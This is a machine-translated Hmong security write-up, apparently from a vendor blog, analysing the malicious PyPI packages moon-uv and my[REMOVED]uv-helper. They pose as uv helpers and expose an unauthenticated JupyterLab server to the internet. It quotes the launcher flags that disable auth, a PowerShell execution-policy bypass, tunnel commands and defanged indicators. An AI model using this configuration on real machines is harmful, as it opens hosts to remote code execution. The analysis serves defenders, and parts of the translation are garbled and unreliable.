FauxUV: Cov Pob Khoom PyPI uv Cuav Qhib Jupyter rau Lub Vev Xaib

FauxUV: cov neeg pab PyPI uv cuav uas qhib lub Jupyter server tsis tau lees paub rau hauv internet

TL; DR

Ib pawg ntawm cov pob khoom PyPI tau qiv lub npe ntawm uv, tus thawj tswj hwm pob khoom Python uas siv Rust-based ceev ceev, los ua tus pab uv. Lawv xa khoom yuav luag tsis muaj kev ua haujlwm tiag tiag. Qhov lawv nqa yog Windows payload uas sawv ntsug a JupyterLab server nrog kev lees paub raug kaw thiab, hauv cov qauv tom qab, tshaj tawm nws rau pej xeem hauv internet los ntawm qhov av rov qab.

Qhov ntawd yog tag nrho zaj dab neeg hauv ib kab lus: lub npe cuab yeej ntseeg siab ua tus ntxias, thiab JupyterLab ua lub cav ua haujlwm deb. Ib lub Jupyter server khiav txhua yam code uas koj ntaus rau hauv ib qho tsis yogebook cell; ib qho uas tau tso tawm nrog ib lub cim khoob thiab khi rau txhua lub network interface yog tus neeg txhais lus qhib uas txhua tus neeg uas tuaj yeem mus txog qhov chaw nres nkoj tuaj yeem tsav.

Peb taug qab lub cluster li FauxUVOb lub pob khoom uas tau kuaj xyuas yog moon-uv (0.0.1-0.0.16) thiab my-magic-uv-helper (0.0.1), luam tawm los ntawm tib tus neeg teb xov tooj thiab nyob ntawm PyPI thaum lub sijhawm tshuaj xyuas.

ecosystemPyPI
Tej pob khoommoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Lub platform tsom mus raulub qhov rais
Tus cwj pwm tseem ceebJupyterLab server uas tsis tau lees paub, tshaj tawm rau hauv internet ntawm qhov av rov qab
Cov cuab yeej raug cai raug siv tsis rauguv, JupyterLab, cloudflared, Piggy

Lub ntxiab: lub npe uas koj twb ntseeg lawm

uv yog ib qho ntawm cov cuab yeej Python uas tau teeb tsa ntau tshaj plaws ntawm ob xyoos dhau los, yog li "tus pab rau uv"yog ib pob khoom uas tus tsim tawm nruab tsis muaj kev xav thib ob. FauxUV siv nws qhov kev ntseeg siab tag nrho rau lub npe ntawd. Cov pob khoom qhwv rau txoj uv tus neeg teeb tsa los ntawm Astral - cov URLs hauv qhov chaw them nyiaj ntawm cov tswv tsev tiag tiag, muaj koob muaj npe - yog li ntawd, saib sai sai tsis pom dab tsi tab sis cov ntaub ntawv ntseeg tau. Tsis muaj ib pob khoom twg ntxiv uv kev ua haujlwm; lub npe yog tag nrho cov kev zais.

JupyterLab ua lub cav RCE

Lub plawv ntawm lub payload yog lub launcher uas pib JupyterLab nrog txhua lub guardrail raug tshem tawm:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Txhua tus chij tshem tawm ib qho kev tiv thaiv, thiab cov ntawv xa khoom txawm tias sau lawv (hauv thawj Suav): lub cim khoob "Xaiv kev kuaj xyuas lo lus zais thiab cov cim qhia - txhua tus tuaj yeem txuas tau." jupyter lab yog ib qho data-science IDE raug cai, tab sis tsis yogebook lub cell ua cov lej raws li kev tsim. Teeb tsa li no thiab khi rau 0.0.0.0, nws tsis ua ib qho IDE thiab dhau los ua lub plhaub chaw taws teeb uas tsis tau lees paub ntawm tus tswv tsev - tsis tas yuav muaj cov malware binary tshwj xeeb, tsuas yog ib lub cuab yeej tseem ceeb taw qhia txoj kev tsis raug.

Ob daim txhawb nqa ua rau qhov ntawd ncav cuag tau thiab rov ua dua:

  • Ib qho kev teeb tsa ntsiag to. Cov versions thaum ntxov khiav PowerShell nrog -Txoj Cai Ua Haujlwm Los Ntawm ncaj qha los ntawm setup.py on pip nruab, nyob rau hauv keeb kwm yav dhau nrog qhov yuam kev suppressed yog li ntawd pip zoo li qub. Cov qauv tom qab txav tib yam primitive mus rau hauv ib qho pip-uv cov cuab yeej hais kom ua - thiab tso tseg lub sijhawm teeb tsa tsis siv neeg kiag li.
  • Ib lub qhov av rov qab rau pej xeem. Ib lub server nyob rau hauv 0.0.0.0 tsuas yog cov tswv tsev uas tuaj yeem xa mus rau lub tshuab thiaj li mus txog tau. Ib lub module uas tau muab tso ua ke qhib ib qho [Pinggy](https://pinggy.io/) SSH rov qab qhov av uas xa mus rau Jupyter chaw nres nkoj hauv zos mus rau qhov chaw nyob rau pej xeem, tshem tawm qhov kev txwv ntawd. Cov ntawv xa khoom kuj nqa - tawm tswv yim tawm - lwm txoj hauv kev siv Cloudflare's huab cua daj cua dub thiab ib tug netsh port-proxy rau Linode IP, sau tib lub hom phiaj los ntawm ntau yam kev tsim kho vaj tse.

Muab tso ua ke: nruab pob khoom, thiab lub Windows host xaus rau kev khiav JupyterLab tsis muaj password thiab tshaj tawm nws rau hauv internet qhib.

FauxUV hloov zuj zus li cas

FauxUV cov versions xa tawm sai sai, thiab qhov payload's trigger point tau tsiv hla lawv - ib qho kev ceeb toom tias ib qho flagged version tsis tshua qhia tag nrho zaj dab neeg ntawm ib kab pob khoom.

theem versions Txhais Nws ntxiv dab tsi
Nruab-nuv moon-uv Xyoo 0.0.1–0.0.3, my-magic-uv-helper 0.0.1 setup.py ntawm pip install uv nruab + PATH prepend
CLI-runtime moon-uv 0.0.5-0.0.13 pip-uv hais kom ua lub launcher JupyterLab uas tsis muaj password
qhov moon-uv 0.0.14-0.0.16 pip-uv hais kom ua ib lub qhov av Piggy rov qab uas ua haujlwm

Qhov tseem ceeb, lub sijhawm teeb tsa tsis siv neeg yog muab tshem tawm nyob rau hauv cov tom qab, cov qauv muaj peev xwm ntau dua - yog li lub scanner tsuas yog ntaus rau ntawm lub voj voog ntawm lub neej hooks yuav tau qhab nia cov ntawv tso tawm tshiab raws li tsawg risky, rov qab mus rau qhov qub.

Cov cim qhia txog kev sib haum xeeb

Pom zoo los ntawm kev nyeem cov ntaub ntawv qhia txog pob khoom; cov ntsiab lus kawg tau cim Commented muaj nyob rau hauv cov ntaub ntawv tab sis tsis tau khiav los ntawm cov qauv uas tau tshuaj xyuas. Cov cim qhia network raug tshem tawm.

hom Qhov taw qhia
Nruab cov lus txib powershell -ExecutionPolicy Bypass nrhiav tus neeg teeb tsa uv tiag tiag, thaum lub sijhawm teeb tsa pip
Cov chij JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Qhov av rov qab (ua haujlwm) free[.]pinggy[.]io:443 kev xa mus rau hauv zos 127.0.0.1:8888
Tus tswv tsev qhov av (tau tawm tswv yim) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (lus tawm tswv yim) 45[.]79[.]134[.]161 (Linode) ntawm netsh port-proxy
Persistence ua ntej %USERPROFILE%\.local\bin rau tus neeg siv PATH

Cov cim qhia txog kev coj cwj pwm uas tsim nyog ceeb toom, tsis hais txog cov kab lus no: a pip nruab uas tshwm sim powershell - Kev hla txoj cai Execution; ib yam dab tsi lub jupyter kev sib txuas ua ke cim = ”” nrog –ip=0.0.0.0; thiab SSH tawm mus rau *.pinggy.io los ntawm tus tsim tawm lossis lub tshuab CI.

Kev coj cwj pwm thiab keeb kwm uas tau pom

Ob lub pob khoom sib koom ua tus sau thiab ib txoj kev: lub npe ntawm cov cuab yeej ntseeg siab, qhov rooj vag Windows-xwb, kev ua tiav keeb kwm yav dhau los uas tsis muaj qhov yuam kev, thiab kev cia siab rau cov cuab yeej muaj npe nrov yog li saib sai sai tsuas pom cov URL muaj npe nrov xwb. Qhov chaw muaj cov lus pom hauv lus Suav piav qhia txog cov chij cuam tshuam txog kev ruaj ntseg; peb tshaj tawm cov ntawd ua cov lus pom tau hauv cov ntaub ntawv, tsis yog ua qhov kev thov txog lub hom phiaj. tso cai_thawj tus nqi thiab ib colab.bat lub npe ntaub ntawv echo cov txheej txheem ua haujlwm tsis raws cai "qhia kuv lub sijhawm khiav hauv zos" uas ncig rau Google Colab. Txawm yog keeb kwm twg los xij, qhov tshwm sim tau ntim khoom yog tib yam.

Kev cuam tshuam thiab kev taw qhia rau cov neeg tiv thaiv

Leej twg raug rau FauxUV. Cov neeg tsim khoom Windows thiab cov neeg khiav CI uas pip nruab ib qho ntawm cov pob khoom no. Ib qho JupyterLab uas tsis muaj password 0.0.0.0 yog kev ua tiav cov lej nyob deb rau txhua tus neeg uas tuaj yeem mus txog qhov chaw nres nkoj; lub qhov av tshem tawm qhov txwv "leej twg tuaj yeem mus txog nws". Lub server khiav ua tus neeg siv teeb tsa, txais cov ntaub ntawv ntawm tus neeg siv ntawd, cov cim qhia, thiab cov ntaub ntawv pov thawj huab.

Vim li cas nws thiaj yooj yim nco. Txhua txoj hlua network taw tes rau tus tswv tsev uas muaj lub koob npe nrov - Astral, JupyterLab, huab cua daj cua dub, Pinggy, Colab. Tsis muaj malware binary rau hash thiab tsis muaj obfuscated blob los decode. Kev luam theej duab raws li lub koob npe nrov thiab kos npe ob qho tib si tsis tseem ceeb qhov no, uas yog vim li cas lo lus nug txog tus cwj pwm - kev txhim kho lub pob no ua rau lub tshuab ua dab tsi - yog tus uas ntes nws.

Kev taw qhia:

  • Kho txhua lub sijhawm teeb tsa powershell - Kev hla txoj cai Execution ua ib lub cim qhia txog kev tsim kho, txawm tias URL twg los xij.
  • Ceeb Toom qhib lawm lub jupyter tau pib nrog ib lub cim khoob thiab –ip=0.0.0.0; qhov kev sib xyaw ua ke ntawd yuav tsum tsis txhob tshwm sim ntawm lub chaw ua haujlwm lossis tus khiav.
  • Saib xyuas cov neeg muab kev pabcuam tunnel uas tawm mus rau SSH (*.pinggy.io, *.trycloudflare.com) los ntawm cov neeg tsim khoom thiab CI ib puag ncig.
  • Nruab uv los ntawm [nws qhov chaw raug cai](https://docs.astral.sh/uv/) thiab tsis ntseeg cov pob khoom "pab" sab nraud uas qhwv ib lub cuab yeej uas twb tsis yooj yim rau nruab.
  • Pin thiab rov xyuas dua qhov kev vam khom ntawm kev hloov kho dua tshiab - ib kab pob khoom tuaj yeem loj hlob qhov muaj peev xwm tshiab version-dhau-version.
cov cuab yeej sca-software-composition-analysis-cuab yeej
Tsom xyuas qhov tseem ceeb, kho, thiab tiv thaiv koj cov kev pheej hmoo software
Tau txais koj tus Account Dawb.
Tsis muaj credit card yuav tsum tau.

Ruaj ntseg koj txoj kev tsim kho software thiab kev xa khoom

nrog Xygeni Product Suite